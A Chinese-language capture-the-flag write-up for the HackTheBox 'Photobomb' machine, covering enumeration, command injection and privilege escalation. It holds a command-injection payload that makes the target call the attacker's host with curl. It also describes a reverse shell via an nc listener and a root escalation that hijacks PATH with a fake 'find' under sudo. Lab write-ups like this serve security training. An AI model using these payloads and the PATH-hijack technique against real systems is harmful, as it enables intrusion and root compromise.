• HackTheBox Photobomb 命令注入与远程代码执行和环境变量提权


    在这里插入图片描述
    题目网址:

    https://app.hackthebox.com/machines/Photobomb
    
    • 1

    枚举

    使用nmap枚举靶机

    nmap -sC -sV -p- 10.10.11.182
    
    • 1

    在这里插入图片描述

    这里发现了域名,我们本地dns解析一下

    echo "10.10.11.182 photobomb.htb" >> /etc/hosts
    
    • 1

    **加粗样式**

    然后就是常规的枚举网站子域名,网站目录,查找网站框架的漏洞什么的,这些我都做了,但是没什么突破点,只能去网页上看看了

    在这里插入图片描述

    在这里插入图片描述

    点击后会让我们输入账号和密码

    查看了一下网站源码,发现有一个js文件

    在这里插入图片描述

    在这里插入图片描述

    点击跳转

    在这里插入图片描述

    这个文件是刚刚登录框的js文件,这里应该是账号和密码,然后返回登录

    在这里插入图片描述

    在这里插入图片描述

    命令注入与远程代码执行

    登录后可以下载一些图片,然后就没其他的了,我们使用burp抓一下下载的包

    在这里插入图片描述

    ctrl+r

    在这里插入图片描述

    现在就是测试参数有没有命令注入的漏洞,开启python http

    python3 -m http.server 80
    
    • 1

    在这里插入图片描述

    然后回到burp里测试参数,photo和dimensions都没有,在测试到filetype参数的时候就有突破点了

    photo=voicu-apostol-MWER49YaD-M-unsplash.jpg;curl+10.10.14.8&filetype=jpg&dimensions=3000x2000
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    kali收到靶机发出的访问信息,现在我们就该反弹shell了

    获取用户权限

    这里推荐这个网站,可以生成很多的反弹shell

    https://www.revshells.com/
    
    • 1

    在这里插入图片描述

    我们使用这个payload,空格都替换为+

    在这里插入图片描述

    然后kali使用nc监听指定的端口

    nc -nvlp 5555
    
    • 1

    然后发送payload

    在这里插入图片描述

    在这里插入图片描述

    成功获得用户权限

    环境变量提权

    查看当前用户可以用sudo执行什么东西

    sudo -l
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    #!/bin/bash
    . /opt/.bashrc
    cd /home/wizard/photobomb
    
    # clean up log files
    if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
    then
      /bin/cat log/photobomb.log > log/photobomb.log.old
      /usr/bin/truncate -s0 log/photobomb.log
    fi
    
    # protect the priceless originals
    find source_images -type f -name '*.jpg' -exec chown root:root {} \;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    这只是个bash脚本,功能是获取日志文件并将其内容移动到photobomb.log.old然后使用truncate清除photobomb.log

    最关键的地方就是最后一行的这个命令,他find使用的是相对路径,而不是绝对路径,也就是说,我们改变一下环境变量,然后在当前目录创建一个find文件,里面写一个shell,之后用sudo执行的时候,就能直接获得root权限

    echo "/bin/bash" > find
    chmod +x find 
    sudo PATH=$PWD:$PATH /opt/cleanup.sh   //更改环境变量为当前目录
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    成功获得root权限

    在这里插入图片描述

  • 相关阅读:
    Linux 最近学习总结
    Centos7处理openssh漏洞后造成GNOME桌面启动异常
    Django-(3)
    基于PHP的连锁酒店管理系统
    单例和静态类
    【SMTP协议】关于SMTP AUTH命令导致鉴权
    区块链在公益活动平台中的应用研究
    GBase 8c 日维护检查项
    基于Intel Lake-UP3平台为半导体与集成电路测试设备提供优异计算性能
    【剑指offer系列】44. 数字序列中某一位的数字
  • 原文地址:https://blog.csdn.net/qq_45894840/article/details/127727429